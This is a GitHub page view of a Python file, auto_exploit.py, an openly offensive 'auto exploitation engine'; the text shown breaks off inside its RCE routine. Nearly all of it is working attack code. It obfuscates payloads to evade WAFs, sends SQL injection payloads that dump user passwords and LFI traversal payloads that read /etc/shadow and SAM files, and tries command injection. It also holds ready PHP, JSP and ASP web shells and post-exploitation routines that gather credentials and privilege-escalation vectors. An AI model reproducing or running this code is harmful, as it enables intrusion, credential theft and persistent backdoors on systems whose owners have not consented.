-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathauto_exploit.py
More file actions
1404 lines (1164 loc) · 59 KB
/
auto_exploit.py
File metadata and controls
1404 lines (1164 loc) · 59 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
"""
Advanced Auto Exploitation Engine v3.0
Enhanced with Payload Obfuscation, Post-Exploitation, and Evasion Techniques
"""
import requests
import urllib.parse
import base64
import time
import json
import random
import os
import hashlib
import string
import re
import subprocess
import threading
from concurrent.futures import ThreadPoolExecutor
from config import *
from reverse_shell import ReverseShellGenerator
from utils import get_session, save_finding, get_random_ua
class PayloadObfuscator:
"""Advanced payload obfuscation and evasion techniques"""
def __init__(self):
self.obfuscation_methods = {
'base64': self._base64_encode,
'hex': self._hex_encode,
'url': self._url_encode,
'double_url': self._double_url_encode,
'unicode': self._unicode_encode,
'html_entities': self._html_entities_encode,
'rot13': self._rot13_encode,
'xor': self._xor_encode,
'chunked': self._chunked_encode,
'mixed': self._mixed_encode
}
def _base64_encode(self, payload):
"""Base64 encoding"""
return base64.b64encode(payload.encode()).decode()
def _hex_encode(self, payload):
"""Hexadecimal encoding"""
return ''.join(f'%{ord(c):02x}' for c in payload)
def _url_encode(self, payload):
"""URL encoding"""
return urllib.parse.quote(payload)
def _double_url_encode(self, payload):
"""Double URL encoding"""
return urllib.parse.quote(urllib.parse.quote(payload))
def _unicode_encode(self, payload):
"""Unicode encoding"""
encoded = []
for char in payload:
if random.random() > 0.5:
encoded.append(f'%u{ord(char):04x}')
else:
encoded.append(char)
return ''.join(encoded)
def _html_entities_encode(self, payload):
"""HTML entities encoding"""
html_entities = {
'<': '<', '>': '>', '"': '"', "'": ''',
'&': '&', '(': '(', ')': ')', ';': ';',
'=': '=', '+': '+'
}
encoded = []
for char in payload:
encoded.append(html_entities.get(char, char))
return ''.join(encoded)
def _rot13_encode(self, payload):
"""ROT13 encoding"""
result = []
for char in payload:
if 'a' <= char <= 'z':
result.append(chr((ord(char) - ord('a') + 13) % 26 + ord('a')))
elif 'A' <= char <= 'Z':
result.append(chr((ord(char) - ord('A') + 13) % 26 + ord('A')))
else:
result.append(char)
return ''.join(result)
def _xor_encode(self, payload, key=0x42):
"""XOR encoding with random key"""
key = random.randint(1, 255)
encoded = []
for char in payload:
encoded.append(chr(ord(char) ^ key))
result = ''.join(encoded)
# Convert to hex representation
hex_result = ''.join(f'%{ord(c):02x}' for c in result)
return f"{key:02x}{hex_result}"
def _chunked_encode(self, payload, chunk_size=3):
"""Chunked encoding to bypass length filters"""
chunks = [payload[i:i+chunk_size] for i in range(0, len(payload), chunk_size)]
encoded_chunks = []
for chunk in chunks:
# Use different encoding for each chunk
methods = list(self.obfuscation_methods.keys())[:3]
method = random.choice(methods)
encoded = self.obfuscate(chunk, method)
encoded_chunks.append(encoded)
# Join with random separators
separators = ['', '.', '-', '_', '~', '*']
separator = random.choice(separators)
return separator.join(encoded_chunks)
def _mixed_encode(self, payload):
"""Mixed multiple encoding techniques"""
# Apply 2-3 random encoding methods
methods = random.sample(list(self.obfuscation_methods.keys())[:6], random.randint(2, 3))
encoded = payload
for method in methods:
if method != 'mixed':
encoded = self.obfuscate(encoded, method)
return encoded
def generate_obfuscated_payloads(self, payload, count=5):
"""Generate multiple obfuscated versions of a payload"""
obfuscated = []
# Always include original
obfuscated.append({"method": "original", "payload": payload})
# Generate obfuscated versions
available_methods = list(self.obfuscation_methods.keys())
methods_to_use = random.sample(available_methods, min(count-1, len(available_methods)))
for method in methods_to_use:
try:
obfuscated_payload = self.obfuscate(payload, method)
obfuscated.append({
"method": method,
"payload": obfuscated_payload
})
except:
continue
return obfuscated
def obfuscate(self, payload, method='base64'):
"""Obfuscate payload using specified method"""
if method in self.obfuscation_methods:
return self.obfuscation_methods[method](payload)
return payload
class PostExploitation:
"""Post-exploitation module for gathering system information"""
def __init__(self, shell_executor=None):
self.shell_executor = shell_executor
self.system_info = {}
def gather_system_info(self, command_executor):
"""Gather comprehensive system information"""
info_commands = {
"os_info": {
"unix": ["uname -a", "cat /etc/os-release", "lsb_release -a"],
"windows": ["systeminfo", "wmic os get caption,version,osarchitecture /format:list"]
},
"user_info": {
"unix": ["whoami", "id", "cat /etc/passwd | head -20"],
"windows": ["whoami", "net user", "net localgroup administrators"]
},
"network_info": {
"unix": ["ifconfig -a || ip addr", "netstat -an | head -20", "route -n"],
"windows": ["ipconfig /all", "netstat -an | findstr LISTENING", "route print"]
},
"process_info": {
"unix": ["ps aux | head -20", "top -b -n 1 | head -20"],
"windows": ["tasklist | head -20", "wmic process get name,processid"]
},
"privilege_info": {
"unix": ["sudo -l", "find / -perm -4000 -type f 2>/dev/null | head -10"],
"windows": ["whoami /priv", "secedit /export /cfg C:\\temp\\secpol.cfg 2>nul"]
},
"interesting_files": {
"unix": ["find /home -name '*.txt' -o -name '*.conf' -o -name '*.sh' 2>/dev/null | head -10",
"ls -la /var/www 2>/dev/null"],
"windows": ["dir C:\\Users\\*.txt /s /b 2>nul | head -10",
"dir C:\\inetpub\\wwwroot\\*.* 2>nul"]
}
}
results = {}
# First detect OS
os_type = self.detect_os(command_executor)
results["os_type"] = os_type
print(f"{G}[*] Detected OS: {os_type}{W}")
# Execute commands based on OS
for category, os_commands in info_commands.items():
if os_type in os_commands:
commands = os_commands[os_type]
category_results = []
for cmd in commands[:3]: # Limit to 3 commands per category
try:
output = command_executor(cmd)
if output and len(output.strip()) > 0:
category_results.append({
"command": cmd,
"output": output[:1000] # Limit output size
})
except:
continue
if category_results:
results[category] = category_results
self.system_info = results
return results
def detect_os(self, command_executor):
"""Detect operating system type"""
test_commands = [
("unix", "uname -a", ["Linux", "Unix", "Darwin"]),
("windows", "ver", ["Windows", "Microsoft"]),
("windows", "systeminfo", ["OS Name", "Windows"]),
]
for os_type, cmd, indicators in test_commands:
try:
output = command_executor(cmd)
if output:
for indicator in indicators:
if indicator.lower() in output.lower():
return os_type
except:
continue
# Default to unix if detection fails
return "unix"
def check_privesc_vectors(self, command_executor):
"""Check for privilege escalation vectors"""
vectors = []
# Check for writable cron jobs
cron_check = command_executor("ls -la /etc/cron* 2>/dev/null")
if cron_check and "Permission denied" not in cron_check:
vectors.append("Cron jobs accessible")
# Check SUID binaries
suid_check = command_executor("find / -perm -4000 -type f 2>/dev/null | head -5")
if suid_check and "Permission denied" not in suid_check:
vectors.append(f"SUID binaries found: {len(suid_check.split())}")
# Check sudo permissions
sudo_check = command_executor("sudo -l 2>/dev/null")
if sudo_check and "not allowed" not in sudo_check:
vectors.append("Sudo permissions found")
# Check for world-writable files
writable_check = command_executor("find / -perm -o+w -type f 2>/dev/null | head -5")
if writable_check:
vectors.append("World-writable files found")
return vectors
def extract_credentials(self, command_executor):
"""Attempt to extract credentials"""
credentials = []
# Common credential locations
credential_patterns = {
"unix": [
("cat /etc/passwd", "password"),
("grep -r 'password' /etc 2>/dev/null | head -5", "password"),
("find /home -name '.*history' -o -name '.*pass*' 2>/dev/null | head -5", "history"),
],
"windows": [
("type %USERPROFILE%\\*.txt | findstr /i password", "password"),
("dir %USERPROFILE%\\*.config /s /b 2>nul | head -5", "config"),
]
}
os_type = self.system_info.get("os_type", "unix")
if os_type in credential_patterns:
for cmd, pattern in credential_patterns[os_type]:
try:
output = command_executor(cmd)
if output and len(output.strip()) > 10:
credentials.append({
"source": cmd,
"data": output[:500]
})
except:
continue
return credentials
class WebShellManager:
"""Manage and deploy web shells"""
def __init__(self):
self.webshells = self._load_webshells()
def _load_webshells(self):
"""Load various web shell templates"""
return {
"php_simple": "<?php system($_GET['cmd']); ?>",
"php_advanced": """<?php
error_reporting(0);
if(isset($_REQUEST['cmd'])){
echo "<pre>";
system($_REQUEST['cmd'] . " 2>&1");
echo "</pre>";
die;
}
?>""",
"php_backdoor": """<?php
// Password protected web shell
$pass = "hackerai";
if(isset($_GET['pass']) && $_GET['pass'] == $pass){
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
}
?>""",
"jsp_shell": """<%@ page import="java.util.*,java.io.*"%>
<%
if(request.getParameter("cmd") != null){
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while(disr != null){
out.println(disr);
disr = dis.readLine();
}
}
%>""",
"asp_shell": """<%
Dim oScript, oScriptNet, oFileSys, oFile
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form("cmd")
If (szCMD <> "") Then
Response.Write("<pre>" & oScript.Exec(szCMD).StdOut.ReadAll() & "</pre>")
End If
%>""",
}
def deploy_webshell(self, upload_url, shell_type="php_simple", param_name="cmd"):
"""Deploy web shell to target"""
if shell_type not in self.webshells:
return {"success": False, "error": "Invalid shell type"}
shell_code = self.webshells[shell_type]
# Create payload for upload
payloads = {
"multipart": {"file": ("shell.php", shell_code)},
"base64": {"file": base64.b64encode(shell_code.encode()).decode()},
"raw": {"content": shell_code}
}
return {"success": True, "shell": shell_code[:100] + "..."}
class AdvancedAutoExploit:
"""Advanced auto exploitation engine with evasion and post-exploitation"""
def __init__(self, target_url, vuln_type, payload, proxy_manager=None,
random_user_agent=True, delay=0, obfuscation_level="medium"):
self.target_url = target_url
self.vuln_type = vuln_type
self.original_payload = payload
self.proxy_manager = proxy_manager
self.random_user_agent = random_user_agent
self.delay = delay
self.obfuscation_level = obfuscation_level
self.session = self._get_session()
self.obfuscator = PayloadObfuscator()
self.post_exploit = PostExploitation()
self.webshell_manager = WebShellManager()
self.shell_gen = ReverseShellGenerator()
self.evasion_techniques = [
self._add_random_headers,
self._random_delay,
self._rotate_user_agent,
self._use_chunked_encoding,
]
# Statistics
self.stats = {
"requests_sent": 0,
"successful_exploits": 0,
"waf_bypasses": 0,
"obfuscations_used": [],
"start_time": time.time()
}
def _get_session(self):
"""Get HTTP session with proxy support"""
session = get_session(self.proxy_manager)
# Add custom headers for evasion
session.headers.update({
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'DNT': '1',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'none',
'Sec-Fetch-User': '?1',
'Cache-Control': 'max-age=0',
})
if self.random_user_agent:
from utils import get_random_ua
session.headers['User-Agent'] = get_random_ua()
return session
def _evade_request(self, url, method="GET", data=None, headers=None):
"""Make request with evasion techniques"""
# Apply random evasion techniques
evasion_count = random.randint(1, len(self.evasion_techniques))
selected_evasions = random.sample(self.evasion_techniques, evasion_count)
for evasion in selected_evasions:
url, headers = evasion(url, headers)
# Add delay if configured
if self.delay > 0:
time.sleep(random.uniform(0, self.delay))
try:
if method.upper() == "GET":
response = self.session.get(url, headers=headers, timeout=10, verify=False)
else:
response = self.session.post(url, data=data, headers=headers, timeout=10, verify=False)
self.stats["requests_sent"] += 1
return response
except requests.exceptions.Timeout:
return None
except Exception as e:
return None
def _add_random_headers(self, url, headers=None):
"""Add random headers to bypass WAF"""
if headers is None:
headers = {}
random_headers = {
'X-Forwarded-For': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}',
'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}',
'X-Request-ID': hashlib.md5(str(time.time()).encode()).hexdigest()[:16],
'X-Custom-Header': ''.join(random.choices(string.ascii_letters, k=10)),
'X-Originating-IP': '127.0.0.1',
'X-Remote-IP': '127.0.0.1',
'X-Remote-Addr': '127.0.0.1',
}
# Add 1-3 random headers
num_headers = random.randint(1, 3)
selected_headers = random.sample(list(random_headers.items()), num_headers)
headers.update(dict(selected_headers))
return url, headers
def _rotate_user_agent(self, url, headers=None):
"""Rotate user agent"""
if headers is None:
headers = {}
from utils import get_random_ua
headers['User-Agent'] = get_random_ua()
return url, headers
def _random_delay(self, url, headers=None):
"""Add random delay"""
delay = random.uniform(0.1, 2.0)
time.sleep(delay)
return url, headers
def _use_chunked_encoding(self, url, headers=None):
"""Use chunked transfer encoding"""
if headers is None:
headers = {}
headers['Transfer-Encoding'] = 'chunked'
return url, headers
def generate_evasion_payloads(self, base_payload, count=10):
"""Generate multiple evasion payloads"""
payloads = []
# Original payload
payloads.append({"method": "original", "payload": base_payload})
# Obfuscated payloads
obfuscated = self.obfuscator.generate_obfuscated_payloads(base_payload, count-1)
payloads.extend(obfuscated)
# Add case variations
for i in range(min(3, count - len(payloads))):
if random.random() > 0.5:
varied = ''.join(c.upper() if random.random() > 0.5 else c.lower() for c in base_payload)
payloads.append({"method": f"case_variation_{i}", "payload": varied})
return payloads
def exploit_sqli_advanced(self):
"""Advanced SQL injection exploitation with evasion"""
print(f"{G}[*] Starting Advanced SQL Injection Exploitation...{W}")
# Test payloads for different DBMS
dbms_tests = {
"MySQL": [
"' UNION SELECT version(),null--",
"' UNION SELECT @@version,null--",
"' UNION SELECT user(),database()--",
"' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
],
"PostgreSQL": [
"' UNION SELECT version(),null--",
"' UNION SELECT current_user,current_database()--",
"' AND (SELECT pg_sleep(5))--",
],
"MSSQL": [
"' UNION SELECT @@version,null--",
"' UNION SELECT SYSTEM_USER,DB_NAME()--",
"' WAITFOR DELAY '00:00:05'--",
],
"Oracle": [
"' UNION SELECT banner,null FROM v$version--",
"' UNION SELECT user,null FROM dual--",
"' AND (SELECT COUNT(*) FROM all_users)=SLEEP(5)--",
],
"SQLite": [
"' UNION SELECT sqlite_version(),null--",
"' UNION SELECT name,null FROM sqlite_master--",
]
}
results = {
"vulnerable": False,
"dbms": "Unknown",
"data": [],
"techniques_used": []
}
# Test for each DBMS
for dbms, payloads in dbms_tests.items():
if results["vulnerable"]:
break
print(f"{C}[*] Testing {dbms}...{W}")
for test_payload in payloads[:3]:
# Generate evasion payloads
evasion_payloads = self.generate_evasion_payloads(test_payload, 5)
for payload_info in evasion_payloads:
payload = payload_info["payload"]
method = payload_info["method"]
# Construct test URL
if "?" in self.target_url:
test_url = self.target_url.replace(self.original_payload, payload)
else:
base_url = self.target_url.split('?')[0] if '?' in self.target_url else self.target_url
param = random.choice(['id', 'user', 'search', 'q'])
test_url = f"{base_url}?{param}={urllib.parse.quote(payload)}"
try:
# Use evasion techniques
response = self._evade_request(test_url)
if response and response.status_code == 200:
content = response.text.lower()
# Check for SQL errors
sql_patterns = {
"MySQL": ["mysql", "sql syntax", "you have an error"],
"PostgreSQL": ["postgresql", "pg_"],
"MSSQL": ["microsoft sql", "sql server", "odbc"],
"Oracle": ["ora-", "oracle"],
"SQLite": ["sqlite", "sqlite3"]
}
for dbms_pattern, patterns in sql_patterns.items():
for pattern in patterns:
if pattern in content:
results["vulnerable"] = True
results["dbms"] = dbms_pattern
results["techniques_used"].append(method)
print(f"{G}[+] SQLi detected: {dbms_pattern}{W}")
print(f"{C}[*] Evasion technique: {method}{W}")
# Try to extract data
data_extracted = self._extract_sqli_data(dbms_pattern)
if data_extracted:
results["data"].extend(data_extracted)
break
if results["vulnerable"]:
break
except:
continue
if results["vulnerable"]:
break
# Blind SQLi testing
if not results["vulnerable"]:
print(f"{C}[*] Testing for Blind SQL Injection...{W}")
blind_detected = self._test_blind_sqli()
if blind_detected:
results["vulnerable"] = True
results["type"] = "Blind SQLi"
results["techniques_used"].append("time_based")
if results["vulnerable"]:
return {"success": True, "type": "SQL Injection", "results": results}
return {"success": False}
def _extract_sqli_data(self, dbms):
"""Extract data using SQL injection"""
extraction_payloads = {
"MySQL": [
"' UNION SELECT table_name,null FROM information_schema.tables LIMIT 5–",
"' UNION SELECT column_name,null FROM information_schema.columns LIMIT 5–",
"' UNION SELECT concat(username,':',password),null FROM users LIMIT 5–",
],
"PostgreSQL": [
"' UNION SELECT table_name,null FROM information_schema.tables LIMIT 5–",
"' UNION SELECT column_name,null FROM information_schema.columns LIMIT 5–",
],
"MSSQL": [
"' UNION SELECT name,null FROM sysobjects WHERE xtype='U'--",
"' UNION SELECT column_name,null FROM information_schema.columns--",
]
}
extracted_data = []
if dbms in extraction_payloads:
for payload in extraction_payloads[dbms][:2]:
try:
test_url = self.target_url.replace(self.original_payload, payload)
response = self.session.get(test_url, timeout=8, verify=False)
if response.status_code == 200:
# Extract potential data from response
lines = response.text.split('\n')
for line in lines:
if any(keyword in line.lower() for keyword in ['admin', 'user', 'pass', 'email', 'hash']):
extracted_data.append(line[:200].strip())
print(f"{G}[+] Extracted: {line[:100]}...{W}")
except:
continue
return extracted_data
def _test_blind_sqli(self):
"""Test for blind SQL injection"""
time_payloads = [
"' AND SLEEP(5)--",
"' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
"' OR SLEEP(5)--",
]
for payload in time_payloads[:2]:
try:
test_url = self.target_url.replace(self.original_payload, payload)
start_time = time.time()
response = self.session.get(test_url, timeout=10, verify=False)
elapsed = time.time() - start_time
if elapsed > 4.5:
print(f"{G}[+] Time-based Blind SQLi detected (delay: {elapsed:.2f}s){W}")
return True
except requests.exceptions.Timeout:
print(f"{G}[+] Time-based Blind SQLi detected (timeout){W}")
return True
except:
continue
return False
def exploit_lfi_advanced(self):
"""Advanced LFI exploitation with path traversal and filters bypass"""
print(f"{G}[*] Starting Advanced LFI Exploitation...{W}")
# Common sensitive files
target_files = {
"linux": [
"/etc/passwd", "/etc/shadow", "/etc/hosts", "/etc/issue",
"/proc/self/environ", "/proc/version", "/proc/cmdline",
"/var/log/auth.log", "/var/log/syslog", "/var/www/html/.env",
"/root/.bash_history", "/home/*/.bash_history",
"/etc/ssh/sshd_config", "/etc/mysql/my.cnf",
],
"windows": [
"C:\\Windows\\System32\\drivers\\etc\\hosts",
"C:\\Windows\\win.ini", "C:\\boot.ini",
"C:\\Windows\\System32\\config\\SAM",
"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",
"C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
"C:\\inetpub\\wwwroot\\web.config",
]
}
# Traversal techniques
traversal_techniques = [
"../../../../../../../../../../../../etc/passwd", # Basic
"..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", # URL encoded
"....//....//....//etc/passwd", # Double dotslash
"..\\..\\..\\..\\..\\..\\windows\\win.ini", # Windows style
"%252e%252e%252f%252e%252e%252fetc%252fpasswd", # Double URL encoded
"..;/..;/..;/etc/passwd", # Semicolon bypass
"..|/..|/etc/passwd", # Pipe bypass
"..\\/..\\/etc/passwd", # Backslash bypass
"/....//....//etc/passwd", # Absolute path with traversal
]
found_files = []
os_detected = "linux" # Default
# Test OS detection first
print(f"{C}[*] Detecting OS type...{W}")
os_test_files = [
("linux", "/etc/passwd"),
("windows", "C:\\Windows\\win.ini"),
]
for os_type, test_file in os_test_files:
for technique in traversal_techniques[:3]:
test_url = self.target_url.replace(self.original_payload, technique.replace("etc/passwd", test_file.split('/')[-1]))
try:
response = self.session.get(test_url, timeout=5, verify=False)
if response.status_code == 200 and len(response.text) > 10:
if "root:" in response.text or "bin/" in response.text:
os_detected = "linux"
print(f"{G}[+] Detected Linux system{W}")
break
elif "[fonts]" in response.text or "[extensions]" in response.text:
os_detected = "windows"
print(f"{G}[+] Detected Windows system{W}")
break
except:
continue
if os_detected:
break
# Exploit based on detected OS
print(f"{C}[*] Exploiting {os_detected.upper()} system...{W}")
if os_detected in target_files:
files_to_try = target_files[os_detected]
for file_path in files_to_try[:10]: # Limit to 10 files
for technique in traversal_techniques:
# Create test payload
if os_detected == "linux":
payload = technique.replace("etc/passwd", file_path.lstrip('/'))
else:
payload = technique.replace("../../../../../../../../../../../../etc/passwd",
file_path.replace('\\', '/').replace('C:/', '../../../../../../../../../../../../'))
test_url = self.target_url.replace(self.original_payload, payload)
# Try multiple encoding variations
variations = [
test_url,
urllib.parse.quote(test_url, safe=''),
test_url.replace('../', '%2e%2e%2f'),
]
for variation in variations:
try:
response = self.session.get(variation, timeout=5, verify=False)
if response.status_code == 200 and len(response.text) > 10:
# Check if it's actually the file and not an error page
if any(indicator in response.text.lower() for indicator in ['root:', '<?php', 'define', 'password', 'user']):
filename = file_path.split('/')[-1] if '/' in file_path else file_path.split('\\')[-1]
print(f"{G}[+] Successfully read: {filename}{W}")
# Save file
timestamp = int(time.time())
save_filename = f"lfi_{filename}_{timestamp}.txt"
try:
with open(save_filename, 'w', encoding='utf-8', errors='ignore') as f:
f.write(response.text[:10000])
found_files.append({
"file": file_path,
"url": variation,
"saved_as": save_filename,
"size": len(response.text),
"preview": response.text[:500]
})
# Extract useful information
if "passwd" in filename:
users = []
lines = response.text.split('\n')
for line in lines:
if ':' in line and ('/bin/bash' in line or '/bin/sh' in line):
user = line.split(':')[0]
users.append(user)
if users:
print(f"{G}[+] Users found: {', '.join(users[:5])}{W}")
break
except Exception as e:
print(f"{R}[!] Error saving file: {e}{W}")
except:
continue
if found_files:
break
if found_files:
return {
"success": True,
"type": "LFI",
"os": os_detected,
"files": found_files,
"total_found": len(found_files)
}
return {"success": False}
def exploit_command_injection_advanced(self):
"""Advanced command injection with multiple techniques"""
print(f"{G}[*] Starting Advanced Command Injection Exploitation...{W}")
injection_techniques = {
"basic": [";{cmd}", "|{cmd}", "`{cmd}`", "$({cmd})", "||{cmd}"],
"advanced": [
"';{cmd};'", "\";{cmd};\"", "`{cmd}`", "${{{cmd}}}",
"|{cmd}|", "&{cmd}&", "^^{cmd}^^", "%0a{cmd}%0a",
],
"blind": [
"sleep 5", "ping -c 5 127.0.0.1", "curl http://127.0.0.1:9999",
]
}
test_commands = [
{"cmd": "whoami", "indicator": ["root", "admin", "user", "www-data"]},
{"cmd": "id", "indicator": ["uid=", "gid="]},
{"cmd": "uname -a || ver", "indicator": ["Linux", "Windows", "Darwin"]},
{"cmd": "pwd || cd", "indicator": ["/home", "/var/www", "C:\\"]},
{"cmd": "ls -la || dir", "indicator": ["total", "Directory of"]},
]
results = {
"vulnerable": False,
"technique": "",
"output": [],
"os_detected": ""
}
# Test each command with each technique
for technique_name, technique_patterns in injection_techniques.items():
if results["vulnerable"]:
break
for test in test_commands:
cmd = test["cmd"]
indicators = test["indicator"]
for pattern in technique_patterns[:3]:
injected_cmd = pattern.format(cmd=cmd)
# Generate evasion payloads
evasion_payloads = self.generate_evasion_payloads(injected_cmd, 3)
for payload_info in evasion_payloads:
payload = payload_info["payload"]
method = payload_info["method"]
# Construct test URL
if "?" in self.target_url:
test_url = self.target_url.replace(self.original_payload, payload)
else:
base_url = self.target_url.split('?')[0] if '?' in self.target_url else self.target_url
param = random.choice(['cmd', 'command', 'exec', 'run'])
test_url = f"{base_url}?{param}={urllib.parse.quote(payload)}"
try:
response = self._evade_request(test_url)
if response and response.status_code < 500:
content = response.text
for indicator in indicators:
if indicator in content:
results["vulnerable"] = True
results["technique"] = f"{technique_name} - {method}"
results["output"].append({
"command": cmd,
"output": content[:500],
"technique": technique_name
})
print(f"{G}[+] Command injection successful: {cmd}{W}")
print(f"{C}[*] Technique: {technique_name} - {method}{W}")
print(f"{Y}[*] Output: {content[:200]}...{W}")
# Detect OS from output
if "Linux" in content or "uname" in content:
results["os_detected"] = "Linux"
elif "Windows" in content or "C:\\" in content:
results["os_detected"] = "Windows"
break
except:
continue
if results["vulnerable"]:
break
if results["vulnerable"]:
break
# Test for blind command injection
if not results["vulnerable"]:
print(f"{C}[*] Testing for Blind Command Injection...{W}")
for blind_cmd in injection_techniques["blind"]:
test_url = self.target_url.replace(self.original_payload, blind_cmd)
start_time = time.time()
try:
response = self.session.get(test_url, timeout=10, verify=False)
elapsed = time.time() - start_time
if elapsed > 4:
results["vulnerable"] = True
results["technique"] = "blind_time_based"
print(f"{G}[+] Blind command injection detected (delay: {elapsed:.2f}s){W}")
break
except requests.exceptions.Timeout:
results["vulnerable"] = True
results["technique"] = "blind_timeout"
print(f"{G}[+] Blind command injection detected (timeout){W}")
break
except:
continue
if results["vulnerable"]:
return {"success": True, "type": "Command Injection", "results": results}
return {"success": False}
def exploit_rce_advanced(self, shell_type="bash"):
"""Advanced RCE exploitation with multiple shell types"""
print(f"{G}[*] Starting Advanced RCE Exploitation...{W}")
# Generate reverse shells
shells = self.shell_gen.generate_all()
if shell_type not in shells:
# Auto-detect best shell type
print(f"{C}[*] Auto-detecting shell type...{W}")